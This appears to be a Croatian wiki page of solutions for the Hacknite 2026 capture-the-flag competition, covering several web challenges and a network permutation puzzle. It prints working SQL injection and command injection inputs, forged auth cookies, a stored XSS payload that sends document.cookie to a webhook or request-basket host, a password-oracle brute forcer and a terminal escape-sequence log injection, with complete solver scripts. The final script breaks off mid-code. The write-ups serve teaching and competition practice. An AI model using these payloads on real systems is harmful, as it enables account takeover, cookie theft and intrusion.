User Tools

Site Tools


hacknite2026

This is an old revision of the document!


Hacknite2026 rješenja

U ovom članku su rješenja zadataka sa Hacknite 2026 natjecanja. Zadatci su dostupni na platformama:

https://platforma.hacknite.hr/
https://platforma.hackultet.hr/

Web sigurnost

FragmentSync Solutions

Možete li sakupiti sve dijelove flaga?

http://chal.hacknite.hr:15003/

Korištenjem razvojnih alata preglednika (F12 gumb), mogu se pronaći 3 dijela flaga, kao komentari u index.html, script.js i style.css.

Za zadnji dio flaga, na stranici se nalazi hint:

Automated bots and scrapers: please refer to our default crawl permissions before indexing.

Dozvole za web crawlere su zapisane u robots.txt datoteci. Posjetom te putanje:

http://chal.platforma.hacknite.hr:14066/robots.txt

Vidi se putanja do zadnjeg dijela flaga:

User-agent: *
Disallow: /secret-internal-debug-41245346456

Bash skripta koja rješava zadatak:

#!/usr/bin/env bash
set -euo pipefail
 
HOST="chal.platforma.hacknite.hr"
PORT="14066"
 
CSS="/style.css"
JS="/script.js"
ROBOTS="/robots.txt"
 
 
f1=$(curl --fail-with-body "http://${HOST}:${PORT}"  | grep -i part | cut -b 16-)
 
f2=$(curl --fail-with-body "http://${HOST}:${PORT}${CSS}" | grep -i part | cut -b 11-)
 
f3=$(curl --fail-with-body "http://${HOST}:${PORT}${JS}"  | grep -i part | cut -b 11-)
 
path_line=$(curl --fail-with-body "http://${HOST}:${PORT}${ROBOTS}"  | grep -i disallow | cut -b 11-)
 
f4=$(curl --fail-with-body "http://${HOST}:${PORT}${path_line}/"  | grep -i part | cut -b 15-)
 
echo "import re;x='$f1$f2$f3$f4';print(re.sub(r'[ \:\*Ppart\!\/\-\<\>]', '', x))" | python 

SQLogin

Stranica ima dostupnu samo login formu,
možete li se ulogirati?

Napomena: bruteforce nije potreban.

http://chal.platforma.hacknite.hr:14073/

Naziv zadatka je “SQLogin”, što se može shvatiti kao hint da je u zadatku relevantan “SQL”. Pregledom stranice zadatka vidi se tekst:

Stack: Flask + SQLite

SQLite je baza podataka koju zadatak koristi pa se može i znati sintaksa SQL upita za tu bazu podataka.

Pokušaj osnovne SQL injekcije prilagođene za SQLite:

Username:
' OR 1=1 --

Password:
a

Prijava je uspješna za korisnika “admin”, jer je administrator jedini korisnik u bazi podataka, a flag je prikazan na stranici.

Document Portal

Dostupna je stranica za pregled i čitanje dokumenata,
možete li pročitati flag?

http://chal.platforma.hacknite.hr:14065/

Odabirom opcije

List files

na stranici, prikazuju se dostupne datoteke u formatu po kojem se može zaključiti da je dan ispis komande

 ls -lah

Unosom neispravnog naziva datoteke, dobiva se ispis greške:

cat: nepostojecaDatoteka: No such file or directory

Vidi se da se korisnički unos prosljeđuje kao argument naredbe cat.

Ako se za ime datoteke koja se čita unese /etc/passwd, dobiva se ispis svih korisnika sustava:

...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
web:x:1000:1000::/home/web:/bin/bash
readonly-user:x:1001:1001::/home/readonly-user:/bin/bash
ctf-flagholder::1002:1002::/home/ctf-flagholder:/bin/bash

Vidi se da postoji korisnik ctf-flagholder. Također, ovaj korisnik nema x na mjestu passworda, što znači da za korisnika nije postavljen password.

Pokušajem command injectiona koristeći točku-zarez:

.;whoami

vidi se da je command injection uspješan:

cat: .: Is a directory
readonly-user

Kako bi se riješio zadatak, potrebno je koristiti su naredbu kako bi se promijenio korisnik u ctf-flagholder, te iz njegovog home direktorija pročitati flag, no ovo je potrebno izvršiti unutar jedne naredbe korištenjem -c zastavice su naredbe:

.;su ctf-flagholder -c "cd; pwd; ls; cat ./*"

Izvršavanjem ove naredbe prikazuje se sadržaj datoteke flag.txt:

/home/ctf-flagholder
flag.txt
CTF2026[234...]

Prazni Profili

Naizgled prazna stranica s profilima, no ipak se tu krije nešto više, možete li otkriti što?

http://chal.platforma.hacknite.hr:14069

Nakon registracije i prijave, stranica automatski preusmjeri na prikaz vlastitog profila:

http://chal.platforma.hacknite.hr:14069/<username>
<code>

Odlaskom na putanju koja bi predstavljala profil administratora:

<code>
http://chal.platforma.hacknite.hr:14069/admin

Prikazuje se stranica s porukom:

Error 403: only user agent allowed: adminBrowser

Korištenjem alata Burp Suite, neke ekstenzije preglednika ili pisanjem CURL zahtjeva direktno može se namjestiti User-Agent zaglavlje zahtjeva u vrijednost adminBrowser:

curl -i \
  -H "Cookie: auth=<auth cookie vrijednost>" \
  -A "adminBrowser" \
  "http://chal.platforma.hacknite.hr:14069/admin"

Slanjem ovog zahtjeva dobiva se poruka:

Access Denied!
You are currently authenticated as <username>.

You do not have permission to view admin's private data.

Može se primijetiti da je vrijednost auth kolačića u base64 formatu. Ako se dekodira, dobiva se njen sadržaj:

$ echo -n "dXNlcm5hbWU9a29yaXNuaWsx" | base64 -d
username=korisnik1

Vidi se da ova vrijednost auth kolačića ne sadrži potpis niti je nekriptirana. Može se izračunati base64 vrijednost za postavljanje korisničkom imena u admin.

$ echo -n "username=admin" | base64
dXNlcm5hbWU9YWRtaW4=

Postavljanjem dobivene base64 vrijednosti za auth kolačić i korištenjem adminBrowser vrijednosti za User-Agent se ponovno može poslati CURL zahtjev:

curl -i \
  -H "Cookie: auth=dXNlcm5hbWU9YWRtaW4=" \
  -A "adminBrowser" \
  "http://chal.platforma.hacknite.hr:14069/admin"

U odgovoru na poslani zahtjev je ispisan flag:

...
<div class="alert alert-success mt-3">
    <h2 class="alert-heading fw-bold">Admin Access Granted!</h2>
    <hr>
    <p class="mb-0 fs-4">Flag: CTF2026[486...]</p>
</div>

Sportske Pohvalnice

Rješenje zadatka dostupno je ovdje:

CTF writeup - Sportske Pohvalnice

Permission Security Check System Showcase

Rješenje zadatka dostupno je ovdje:

CTF writeup - Permission Security Check System Showcase

Pro-ThemeBuilder Premium

Navodno je moguće napraviti theme koji će nekako doći do flaga.

http://chal.platforma.hacknite.hr:14070/

Uz zadatak je dan izvorni kod.

U export_theme funkciji, ako dođe do greške pri pretvaranju JSON objekta kojim je definiran theme u CSS datoteku, stvara se greška.

Do greške dolazi ako je ključ u rječniku neispravan te se taj ključ direktno navodi u tekstu greške:

  for class_name, properties in theme_data.items():
      if not re.match(r'^[a-zA-Z0-9_-]+$', class_name):
          error_msg = f"Compiler Error: '{class_name}' is an invalid CSS class name. Alphanumeric only."
          return Response(error_msg, status=400, mimetype="text/plain")

Greška se vraća na klijentsku stranu, gdje se tekst greške direktno uključuje u HTML s pomoću ``innerHTML`` u JavaScript funkciji loadThemeFromAPI:

<script>
...
async function loadThemeFromAPI(uuid) {
    const errBanner = document.getElementById('theme-error-banner');
    const styleTag = document.getElementById('dynamic-theme-styles') || document.getElementById('live-preview-styles');
 
    document.getElementById('live-preview-styles').innerHTML = '';
    errBanner.style.display = 'none';
    errBanner.innerHTML = '';
 
    try {
        let response = await fetch(`/api/export/${uuid}`);
        let responseText = await response.text();
 
        if (response.ok) {
            styleTag.innerHTML = responseText;
        } else {
            errBanner.style.display = 'block';
            errBanner.innerHTML = `<div class="d-flex align-items-center">
                                     <span class="fs-4 me-3">🚨</span>
                                     <div><strong>API Compilation Failed:</strong><br>${responseText}</div>
                                   </div>`;
        }
    } catch (e) {
        console.error("Network error:", e);
    }
}
...
</script>

Uzevši u obzir da se tekst ključa u rječniku koji se konstruira iz JSON objekta za korisnikov theme direktno navodi u tekstu greške koja se vraća na klijentsku stranu, a na klijentskoj strani se također direktno ispisuje bez pročišćivanja:

errBanner.innerHTML = `...${responseText}...`;

Potencijalno je moguć XSS napad.

Kada korisnik pohranjuje theme na server, može u JSON objektu koji se šalje na poslužitelj postaviti XSS payload koji će se parsirati kao ključ rječnika. Na taj način je istovremeno osigurano i da će sam payload uzrokovati grešku zbog koje će se tekst greške poslati na klijentsku stranu te istovremeno sam sadržaj payloada izvršava napad.

Jedna od tehnika napada je dodavanje HTML elementa slike tako da dođe do greške te se JavaScript kod definira kao kod koji se izvršava pri događanju greške.

<img src=x onerror=<JS payload>>
<code>
 
 
Kako bi se osiguralo da se payload pri parsiranju pozicionira kao ključ rječnika, potrebno je strukturirati theme JSON kao:
 
<code JSON>
{
  "<img src=x onerror=\"<JS payload>\">": {
    "color": "red",
    "background-color": "black"
  }
}

Nakon toga se ovaj theme s payloadom prijavljuje adminu korištenjem report funkcionalnosti na frontendu ili izravno slanjem POST zahtjeva na /report endpoint s theme UUID vrijednošću pohranjenog napada.

JavaScript payload jednostavno treba pročitati vrijednost document.cookie, enkodirati i eksfiltrirati je kao parametar unutar GET zahtjeva na stranicu koju napadač kontrolira, npr. webhook ili reqbaskets.

fetch('https://webhook.site/<TOKEN>/?f='+encodeURIComponent(document.cookie))\

Puna konstrukcija payloada:

callback_url = (
    f"{webhook_url}/?f="
)
 
xss_key = (
    f'<img src=x onerror="fetch(\'{callback_url}\'+'
    'encodeURIComponent(document.cookie))">'
)
 
payload_dict = {
    xss_key: {
        "color": "red",
        "background-color": "black",
    }
}
 
json_payload = json.dumps(payload_dict)
<code>
 
Automatizirana skripta koja rješava zadatak na opisan način:
 
<code python>
import requests
import time
import secrets
import os
import json
 
CHALLENGE_URL = "http://chal.platforma.hacknite.hr:14070"
RBASKET_API = "http://requestbaskets.platforma.hacknite.hr/api/baskets"
RBASKET_Url = "http://requestbaskets.platforma.hacknite.hr"
 
CONFIG_FILE = "basket_config.txt"
user, pwd = "u_bf7f539f6cabd9ef70346ef7", "p_bf7f539f6cabd9ef70346ef7"
RECENT_TIME_DIFF = 3 * 60 * 1000
 
 
class BasketManager:
    def __init__(self, api_url=RBASKET_API, config_file=CONFIG_FILE):
        self.api_base = api_url
        self.config_file = config_file
        self.name = self.token = self.exfil_url = None
        if not self._load_and_verify():
            self.create_basket()
 
    def _load_and_verify(self):
        if os.path.exists(self.config_file):
            try:
                with open(self.config_file, "r") as f:
                    self.name, self.token = f.read().strip().split(":")
                r = requests.get(
                    f"{self.api_base}/{self.name}",
                    headers={"Authorization": self.token},
                    timeout=5
                )
                if r.status_code == 200:
                    self.exfil_url = f"{RBASKET_Url}/{self.name}"
                    print(f"[basket] Loaded existing basket: {self.name}")
                    return True
            except:
                pass
        return False
 
    def create_basket(self):
        self.name = "solv-" + secrets.token_hex(4)
 
        r = requests.post(
            f"{self.api_base}/{self.name}",
            json={"capacity": 200},
            timeout=10
        )
 
        print("[basket] Create status:", r.status_code)
        print("[basket] Create response:", repr(r.text[:500]))
 
        if r.status_code != 201:
            raise RuntimeError(f"Basket creation failed: HTTP {r.status_code}")
 
        self.token = r.json().get("token")
        if not self.token:
            raise RuntimeError("Creation response contains no token")
 
        self.exfil_url = f"{RBASKET_Url}/{self.name}"
 
        check = requests.get(
            f"{self.api_base}/{self.name}",
            headers={"Authorization": self.token},
            timeout=10
        )
 
        print("[basket] Immediate verification:", check.status_code)
        print("[basket] Verification body:", repr(check.text[:300]))
 
        if check.status_code != 200:
            print("New basket creation probably failed")
 
        with open(self.config_file, "w") as f:
            f.write(f"{self.name}:{self.token}")
 
    def get_requests(self):
        try:
            r = requests.get(
                f"{self.api_base}/{self.name}/requests",
                headers={"Authorization": self.token},
                timeout=5
            )
 
            if r.status_code not in (200, 204):
                print(
                    "[basket] HTTP status:", r.status_code,
                    "URL:", r.url,
                    "Body:", repr(r.text[:300])
                )
                return []
 
            if r.status_code == 204:
                return []
 
            return r.json().get("requests", [])
 
        except (requests.RequestException, ValueError) as e:
            print("[basket] Polling error:", repr(e))
            return []
 
 
def solve():
    basket = BasketManager()
    session = requests.Session()
 
    session.post(
        f"{CHALLENGE_URL}/register",
        data={"username": user, "password": pwd}
    )
    session.post(
        f"{CHALLENGE_URL}/login",
        data={"username": user, "password": pwd}
    )
    print(f"[*] Authenticated as {user}")
 
    xss_key = f"<img src=x onerror=\"fetch('{basket.exfil_url}?f='+document.cookie)\">"
    print(xss_key)
 
    payload_dict = {
        xss_key: {"color": "red", "background-color": "black"}
    }
    json_payload = json.dumps(payload_dict)
 
    print("[*] Uploading JSON Theme with payload...")
    r = session.post(
        f"{CHALLENGE_URL}/api/themes",
        json={"theme_json": json_payload}
    )
 
    if r.status_code != 200:
        print(f"[-] Failed to upload theme. Server said: {r.text}")
        return
 
    target_uuid = r.json().get("uuid")
    print(f"[+] Stored theme with payload - UUID: {target_uuid}")
 
    print(f"[*] Dispatching Admin Bot to /dashboard?theme={target_uuid} ...")
    session.post(
        f"{CHALLENGE_URL}/report",
        data={"uuid": target_uuid}
    )
 
    print("[*] Waiting for bot execution...")
    now = int(time.time() * 1000)
 
    for _ in range(15):
        for req in basket.get_requests():
            if abs(now - req["date"]) >= RECENT_TIME_DIFF:
                continue
 
            query_str = str(req.get("query", ""))
            if "CTF" in query_str:
                print(f"\n[+!] FLAG FOUND:\n{query_str}")
                return
 
        time.sleep(2)
        print(".", end="", flush=True)
 
    print("\n[-] Exploit failed.")
 
 
if __name__ == "__main__":
    solve()

The Watcher

Možete li se "ušuljati" pored zaštitara koji gleda logove i provjerava prijave?

Napomena: Ako koristite bruteforce, ograničite zahtjeve na 1 zahtjev po sekundi.

http://chal.platforma.hacknite.hr:14074/

Uz zadatak je dan izvorni kod.

Dostupna je registracija i prijava. Pri prijavi zapisuju se informacije o prijavi u auth.log. Svaka linija teksta predstavlja jednu prijavu. Boja zapisa razlikuje se ovisno o tome je li se prijavio ADMIN ili USER. Zapisuje se IP, user agent, ID prijave te prvih 16 znakova SHA-256 sažetka IP adrese i ID-a prijave kao checksum.

Nakon toga se korisniku pokazuje dashboard, gdje su podatci korisnika “end to end” šifrirani s ključem deriviranim od korisnikove lozinke. Kako bi ih korisnik dešifrirao, mora ponovno unijeti svoju lozinku na korisničkoj strani. FLAG je pohranjen kao podatci korisnika admin.

“Watcher” bot pregledava auth.log kako bi odobrio ili odbio prijave. Dopušta prijavu administratora jedino ako dolazi s lokalne adrese.

Ključan detalj je da “watcher” bot pregledava auth.log koristeći terminal emulator pyte.

Prva ranjivost je način provjere lozinke:

pwd = request.form.get('password', '')
...
if fnmatch.fnmatch(db_password, pwd):
    endToEndKey = [a ^ b for a, b in zip(db_eekeyenc, pwd.encode()[::-1], strict=True)]

Ako se za password pošalje samo wildcard *, if uvjet će biti zadovoljen, no zip funkcija s argumentom strict=True bacit će pogrešku ako duljine poslane lozinke i lozinke iz baze nisu jednake.

Ova ranjivost se koristi kako bi se saznala administratorska lozinka, tehnikom “pametnog” bruteforcea gdje se otkriva znak po znak lozinke.

Lozinka:

* -> vraćen error zbog zip(.. strict=True)

a* -> kriva lozinka
...
D* -> vraćen error zbog zip(.. strict=True),
prvi znak lozinke je "D"

Da* -> kriva lozinka
...
Dg* -> vraćen error zbog zip(.. strict=True),
prva dva znaka lozinke su "Dg"

Dga*
....
<code>

Nakon što se sazna duljina lozinke i svi znakovi osim zadnjeg, potrebno je na isti način pronaći zadnji znak bez korištenja zvjezdice.

Python skripta koja koristi ovu tehniku napada za otkrivanje lozinke administratora:

<code python>
password = ""
foundPass = False

while True:

    r = requests.post(f"{URL}/login", data={"username": "admin", "password": password})

    if foundPass:
        break

    for c in chars:
        guess = password + c + "*"
        print(guess)
        r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess})
        
        #  zip(strict=True) crashed
        if r.status_code == 500 or "Error: zip() argument 2 is shorter than argument 1" in r.text:
            password += c
            sys.stdout.write(f"\r[+] Found: {password}")
            sys.stdout.flush()
            break

        if "Login Rejected by Security Watcher." in r.text:
            foundPass = True
            password = guess
            print("Pass without last char: ", password)
            break

passFinalAtt = password[:-1]
passFinal = ""

for c in chars:
    guess = passFinalAtt + c 
    print(guess)
    r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess})
    

    if "Login Rejected by Security Watcher." in r.text:
        passFinal = guess
        print("Final pass: ", passFinal)
        break

password = passFinal

Kad se zna lozinka administratora, i dalje se nije moguće prijaviti kao administrator zato što watcher bot odbija prijavu.

U ovom dijelu sustava također postoji ranjivost jer se user agent u zahtjevu korisnika direktno bez provjere ili pročišćivanja dodaje u liniju prijave u auth.log. Ovaj zapisnik se prikazuje u emuliranom terminalu, tako da se mogu koristiti specijalni znakovi i sekvence terminala za manipuliranje linijom prijave koju će watcher bot parsirati.

Korištenjem kontrolnog znaka \r pokazivač terminala se može pomaknuti na početak linije i tako prepisati tekst s početka. Ovako se može “prevariti” bota da je pokušaj prijave u administratorov račun zapravo prijava običnog korisnika. Pošto ID prijave dolazi nakon mjesta u liniji koda gdje je zabilježen user agent, ID prijave neće biti prepisan te će bot odobriti prijavu u administratorov račun, parsirajući je kao prijavu običnog korisnika.

Potrebno je korištenjem user agent zaglavlja u zahtjevu pokušaja prijave u administratorski račun prepisati početak linije zapisnika koja predstavlja prijavu tako da se boja linije promijeni u zelenu i da se prepiše user vrijednost u guest. Nakon toga je potrebno ostatak linije također ispravno napisati kako bi linija i dalje bila u ispravnom formatu, a checksum sastavljen od IP i login ID vrijednosti i dalje bio validan.

Format user agent vrijednosti koja koristi opisanu tehniku napada:

user_agent_payload = f"aa\r\x1b[32m[USER] User:guest | IP: External | UA:xxxxxxxxxxxxxx"

Korištenjem ovih dviju opisanih tehnika može se napisati automatizirana skripta koja rješava zadatak:

import requests
import string
import sys
import time
import urllib.parse
import re
import json
 
URL = "http://chal.platforma.hacknite.hr:14074"
chars = string.ascii_letters + string.digits
 
while True:
    try:
        requests.get(URL, timeout=2)
        break
    except requests.exceptions.ConnectionError:
        time.sleep(1)
 
print("[+] Server online")
 
# ---------------------------------------------------------
# PHASE 1: ADMIN PASS BRUTEFORCE
# ---------------------------------------------------------
 
print("\n[*] Phase 1: Bruteforcing admin pass")
 
password = ""
foundPass = False
 
while True:
 
    r = requests.post(f"{URL}/login", data={"username": "admin", "password": password})
 
    if foundPass:
        break
 
    for c in chars:
        guess = password + c + "*"
        print(guess)
        r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess})
 
        #  zip(strict=True) crashed
        if r.status_code == 500 or "Error: zip() argument 2 is shorter than argument 1" in r.text:
            password += c
            sys.stdout.write(f"\r[+] Found: {password}")
            sys.stdout.flush()
            break
 
        if "Login Rejected by Security Watcher." in r.text:
            foundPass = True
            password = guess
            print("Pass without last char: ", password)
            break
 
passFinalAtt = password[:-1]
passFinal = ""
 
for c in chars:
    guess = passFinalAtt + c 
    print(guess)
    r = requests.post(f"{URL}/login", data={"username": "admin", "password": guess})
 
 
    if "Login Rejected by Security Watcher." in r.text:
        passFinal = guess
        print("Final pass: ", passFinal)
        break
 
password = passFinal
 
print(f"\n[+] Full Admin Password: {password}")
 
# ---------------------------------------------------------
# PHASE 2: TERMINAL LOG INJECTION -> User-Agent
# ---------------------------------------------------------
print("\n[*] Phase 2: Log Injection with URL-Encoded User-Agent Header")
 
payload = f"aa\r\x1b[32m[USER] User:guest | IP: External | UA:xxxxxxxxxxxxxx"
 
encoded_payload = urllib.parse.quote(payload)
 
headers = {"User-Agent": encoded_payload}
data = {"username": "admin", "password": password}
 
session = requests.Session()
r = session.post(f"{URL}/login", headers=headers, data=data)
 
if r.status_code == 200:
    print("[+] Terminal injection successful, bypassed Watcher.")
    dash = session.get(f"{URL}/dashboard").text
 
    # ---------------------------------------------------------
    # PHASE 3: CLIENT-SIDE VAULT DECRYPTION
    # ---------------------------------------------------------
    print("\n[*] Phase 3: E2E Crypto...")
 
    try:
        enc_vault_hex = re.search(r'const encryptedVaultHex = "(.*?)";', dash).group(1)
        e2e_key = json.loads(re.search(r'const e2eKey = (\[.*?\]);', dash).group(1))
 
        pwd_bytes = password.encode()
        pwd_rev = pwd_bytes[::-1]
 
        e2e_base = []
        for i in range(len(e2e_key)):
            e2e_base.append(e2e_key[i] ^ pwd_rev[i] ^ pwd_bytes[i])
 
        # Decrypt vault
        enc_vault = bytes.fromhex(enc_vault_hex)
        decrypted = ""
        for i in range(len(enc_vault)):
            decrypted += chr(enc_vault[i] ^ e2e_base[i % len(e2e_base)])
 
        print(f"\n[+] FLAG: {decrypted}")
 
    except Exception as e:
 
        print(e)
        print(dash)
else:
    print("[-] failed.")

SandyFileBox

Testirajte interaktivnu platformu koja implementira glatku integraciju python sandboxa i file fetch sustava.

http://chal.platforma.hacknite.hr:14071/

Uz zadatak je dan izvorni kod.

Program implementira sandbox izolirano okruženje u kojem se može izvršavati vrlo jednostavan Python kod limitiran na definiranje varijabli i matematičke operacije. Također se mogu čitati lokalne datoteke s poslužitelja tako da se sadržaj i metapodatci datoteke učitaju u sandbox.

Postoje dva endpointa za obrađivanje korisničkih zahtjeva, /run i /readfile. Oba endpointa bilježe sve argumente iz zahtjeva (i one koji nisu predviđeni da se nalaze u zahtjevu ako se aplikacija koristi samo posluženog frontenda) i te argumente prosljeđuju na daljnju obradu. Endpoint run prosljeđuje korisničke argumente u processInput funkciju, a readfile endpoint u funkciju readfile koja ih potom također prosljeđuje u processInput.

def processInput(session_id: str, name: str, value: str | None = None, operation: int | str = 0, **kwargs: Any) -> str:
    sanitize_input(name)
    if value is None: return name
    sanitize_input(value, allow_short_digits=True)
 
    try: op_idx = int(operation)
    except (TypeError, ValueError): raise ValueError("Invalid operation type")
 
    op_map = {0: "=", 1: "+=", 2: "-=", 3: "*=", 4: "//="}
    if op_idx not in op_map: raise ValueError("Unsupported operation requested")
 
    line = f"{name}{op_map[op_idx]}{value}"
    validate_and_execute_python(line, session_id)
    return line

Funkcija prvo izvršava sanitize_input nad argumentom name te vraća tu vrijednost ako value nije definiran. Ako je value definiran, funkcija od korisničkog unosa sastavlja string za izvršavanje koji se potom prosljeđuje funkciji validate_and_execute_python. Unutar ove funkcije se provjeravaju i provode sva ograničenja koja osiguravaju da se ne može izvršiti maliciozan kod. Ako su sva ograničenja i provjere zadovoljene, kod se izvršava.

To znači da je moguće poslati zahtjev na endpoint readfile koji ima definiran predviđeni argument name, ali i argument value, te će se rezultat izvršavanja koristiti kao ime datoteke koje se čita. U tom slučaju će se napraviti dodatna provjera nad rezultatom checkb64. Ova provjera u uobičajenom načinu rada ima vrijednost argumenta firstFunc postavljenu na 0, čime se definira da provjera prvo radi base64 encoding a potom base64 decoding te ako se ne dogodi greška tijekom tog procesa vraća rezultat.

No firstFunc se također može postaviti kao argument u korisničkom zahtjevu na endpoint readFile pri čemu se argument iz zahtjeva koristi u funkciji, čime se obrće redoslijed operacija. Tada se prvo izvršava base64 decode a potom base64 encode.

Za dekodiranje se ne koristi biblioteka, nego je implementirano kodom u funkciji stable_from_base64 na neuobičajen način, gdje je uobičajena vrijednost argumenta strict_mode postavljena na False.

Funkcija u ovom načinu procesiranja koda ne provjerava ispravnost položaja padding znaka = prema standardnim Base64 pravilima. Ovo omogućuje da se znak = koji se inače koristi na kraju base64 enkodiranog sadržaja kao padding nalazi na nepredviđenim mjestima bez pojave greške. To se može iskoristiti za manipuliranje postupkom dekodiranja na nepredviđeni način.

Ako se pošalje zahtjev s definiranim argumentima name i value te operacijom pridruživanja, na kraju će biti konstruiran naziv datoteke koja se pokušava dohvatiti u obliku

<name>=<value>

To se može iskoristiti tako da se name i value definiraju kao dvije polovice base64 enkodiranog sadržaja, između kojih se nalazi =. Zbog toga će rezultat operacija base64 enkodiranja i dekodiranja biti različit od prvotne vrijednosti. Kako bi ovaj redoslijed operacija bio postignut, potrebno je postaviti firstFunc u vrijednost 1.

Cilj je definirati vrijednosti u zahtjevu tako da nakon što se obavi base64 provjera, rezultat provjere bude putanja do flag datoteke koja se nalazi na putanji:

data/internal/stage/private/data/flag

Datoteke se već automatski pretražuju iz direktorija data, tako da je cilj konstruirati string internal/stage/private/data/flag.

Payload koji kad se dekodira sa stable_from_base64 funkcijom u kodu te ponovno reenkodira daje traženu putanju je:

ins=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA

Da bi se konstruirao ovaj string kao naziv tražene datoteke i osigurao potreban redoslijed operacija dekodiranja i enkodiranja, potrebno je poslati zahtjev u obliku:

.../readfile?name=ins&value=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&firstFunc=1

Tijekom provjere ovog zahtjeva kao konstruiranog Python koda, Xq52pf7LWoHv6a4r2rXv3WrWv35WoA će se tretirati kao ime varijable koja se pridružuje varijabli ins, pa je zato potrebno prethodno poslati zahtjev kojim se osigurava da varijabla neće biti nedefinirana:

.../run?name=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&value=21

Posljednjim se zahtjevom dohvaća sadržaj pročitane datoteke:

.../run?name=lastfilecontent

Automatizirana skripta koja rješava zadatak na opisani način:

#!/usr/bin/env bash
 
HOST="chal.platforma.hacknite.hr"
PORT=14071
 
COOKIE_JAR="$(mktemp)"
 
echo "=== 1st request ==="
curl -v \
  -c "$COOKIE_JAR" \
  "http://${HOST}:${PORT}/run?name=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&value=21"
 
echo
echo "=== Cookies saved ==="
cat "$COOKIE_JAR"
 
echo
echo "=== 2nd request ==="
curl -v \
  -b "$COOKIE_JAR" \
  "http://${HOST}:${PORT}/readfile?name=ins&value=Xq52pf7LWoHv6a4r2rXv3WrWv35WoA&firstFunc=1"
 
 
echo "=== 3rd request ==="
curl -v \
  -b "$COOKIE_JAR" \
    "http://${HOST}:${PORT}/run?name=lastfilecontent" | grep "CTF"
 
rm -f "$COOKIE_JAR"

Local Flag Hosting

Rješenje zadatka dostupno je ovdje:

CTF writeup - Local Flag Hosting

Razno

Random Network Nonsense 1

Možete li rekonstruirati kako ulazi putuju kroz mrežu?

Spoji se na servis naredbom netcat:

nc chal.platforma.hacknite.hr 14055

Uz zadatak je dan izvorni kod.

Spajanjem na zadatak dostupne su opcije za unos proizvoljnog teksta za koji se dobije izlaz, unos teksta na odabranim ulazima i dobivanje izlaza teksta s flagom.

[SYSTEM] Booting Switchyard Controller...
[SYSTEM] Generating network candidate...
[SYSTEM] Network validated. Channels: 7 -> 8
 
=== THE PERMUTATION SWITCHYARD ===
Queries remaining: 30
1. Get Flag Text Output
2. Inject Custom Data (Sequential)
3. Inject Custom Data (Per Entrance)
4. Exit
> 1
 
[CONTINUOUS OUTPUT]
IYOZIOdCAgAyWX1SERQDAYWjRhx0SgQ1NdMQNbbTA0FgnXR2Q5NxIIzGswFhgwRgNIMYNcYGgyFyWX5WAANjMZWmUz5z1vItYONNIIaGckFnXGEGVYO4Nd0WFuVgG0M0dNIZdZYD4gk1WGAGFgYiVYCXVnNyj0gtIIJddWSGGTFFgFz1jky5ZcIIIGXGGzlFmFDhlyl5cZFYOGWXiDBJh01hglxdZIdIMGWC2CFAGYz0lxzgdNlMXXjXIQgUnz35aXBgYDZ5YT05Yy1=bTV5
 
[PER EXIT OUTPUT]
Exit_0: IAERNAQsNgAUYcVFd4FVIWF1ZGlhcGBhZGF0dXIn
Exit_1: YgRhd05wIyAzOkYuNggnISFjcXFlZWJgIWAlNXQz
Exit_2: OAQxMFNFMFN5NFOVIkYN
Exit_3: ZyD0QgxhYyjzNn4gZ1iyJGgkIGmyFXhldCGxljg3aXBgYDZ5YT05Yy1=bTV5
Exit_4: IWASNnIgNWM1IXNGdWVjdGFyIGFlYi0xI2YzMXU5
Exit_5: OXYgbXIwcXZvIGd0ZGY0
Exit_6: d1WQbRzRY5WIaE0MYACgdTz5IzD5OD1dMCzg
Exit_7: CSj1T2GgGWmtGGW0DGXt

Pregledom koda vidi se da se izlaz s flagom generira tako da se uzmu nasumične Lorem ipsum riječi i brojevi te se flag doda na nasumično mjesto u tekstu. Onda se cijeli tekst enkodira u base64 i prolazi kroz nasumično generiranu mrežu te se izlaz vraća korisniku.

Pregledom koda generiranja mreže, pri svakoj konekciji je generirana nova nasumična mreža koja je vrlo kompleksna i teška za rekonstruirati. Mreža se generira od više vrsta čvorova koji različito procesuiraju ulaze, ali je mreža determinantna, za isti ulaz uvijek daje isti izlaz. Također, same vrijednosti znakova koji prolaze kroz mrežu ne utječu na procesuiranje, što znači da će dva ulaza iste duljine biti procesuirana na isti način.

Ako se unese proizvoljan unos iste duljine kao i tekst s flagom, mreža ga procesuira na isti način, tako da su iste pozicije ulaza u mrežu premještene na iste pozicije izlaza iz mreže.

U slučaju kad se šalje unos iste duljine kao i tekst s flagom, mreža se može gledati kao samo jedan p-box koji mijenja pozicije bajtova ulaza.

U zadatku je dopušteno poslati 30 zahtjeva. Skup dozvoljenih znakova je definiran funkcijom:

def is_printable(s):
    return all(c in string.printable for c in s)

čime je dozvoljeno 100 različitih znakova:

>>> len(string.printable)
100

kako bi se pronašlo bijektivno mapiranje ulaznih pozicija na izlazne pozicije koje se koristilo za tekst s flagom, mogu se slati unosi u kojima je svaki znak jedinstven, odnosno samo se jednom pojavljuje u tekstu, osim jednog znaka koji se ponavlja kako bi duljina unosa bila ista kao duljina izlaza teksta s flagom.

Nakon toga za svaki jedinstveni znak u unosu, njegova dobivena pozicija u izlazu direktno otkriva mapiranje ulazne pozicije na izlaznu poziciju koja se koristila i za tekst s flagom.

Ilustracija:

Ulaz: abcdeffffffffff

Izlaz: ffafdfefffbfcff

znak a otkriva mapiranje: ulaz[0] -> izlaz[2]
znak b otkriva mapiranje: ulaz[1] -> izlaz[10]
znak c otkriva mapiranje: ulaz[2] -> izlaz[12]
...

Uzevši u obzir broj zahtjeva i broj različitih dopuštenih znakova, jednostavno je riješiti zadatak ovom tehnikom.

Skripta koja rješava zadatak na opisani način:

#!/usr/bin/env python3
from pwn import *
import string, base64, re, sys
 
HOST = "chal.platforma.hacknite.hr"
PORT = 14055
 
io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) > 2 else remote(HOST, PORT)
 
def run(data):
    io.sendline(b"2")
    io.recvuntil(b"Enter sequential data: ")
    io.sendline(data.encode())
    io.recvuntil(b"[CONTINUOUS OUTPUT]\n")
    out = io.recvline().decode().rstrip("\r\n")
    io.recvuntil(b"> ")
    return out
 
io.recvuntil(b"> ")
io.sendline(b"1")
io.recvuntil(b"[CONTINUOUS OUTPUT]\n")
